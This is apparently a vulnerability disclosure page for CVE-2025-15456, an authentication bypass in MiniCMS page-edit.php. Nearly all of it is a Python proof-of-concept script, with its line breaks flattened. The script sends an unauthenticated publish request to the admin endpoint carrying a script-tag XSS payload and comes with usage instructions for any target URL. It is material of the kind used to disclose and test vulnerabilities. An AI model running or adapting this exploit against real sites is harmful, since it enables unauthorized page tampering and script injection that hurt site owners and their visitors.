CVE-2025-15456: MiniCMS page-edit.php 认证绕过漏洞

import requests import sys # CVE-2025-15456 PoC - MiniCMS Authentication Bypass # Target: /mc-admin/page-edit.php def exploit_minicms(target_url): """ Exploit for MiniCMS <= 1.8 authentication bypass in page-edit.php Target component: Publish Page Handler """ target = target_url.rstrip('/') # Step 1: Access page-edit.php without authentication page_edit_url = f"{target}/mc-admin/page-edit.php" # Step 2: Craft malicious request to bypass authentication # The vulnerability allows direct access to admin functions headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Step 3: Attempt to publish/modify page without auth # Modify 'page' parameter with malicious content data = { 'action': 'publish', 'page': 'test', 'content': '<script>alert("XSS")</script>' } try: response = requests.post(page_edit_url, data=data, headers=headers, timeout=10) print(f"[*] Request sent to: {page_edit_url}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] Potential vulnerability confirmed - endpoint accessible") print(f"[+] Response length: {len(response.text)} bytes") else: print("[-] Endpoint not accessible or protected") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) exploit_minicms(sys.argv[1])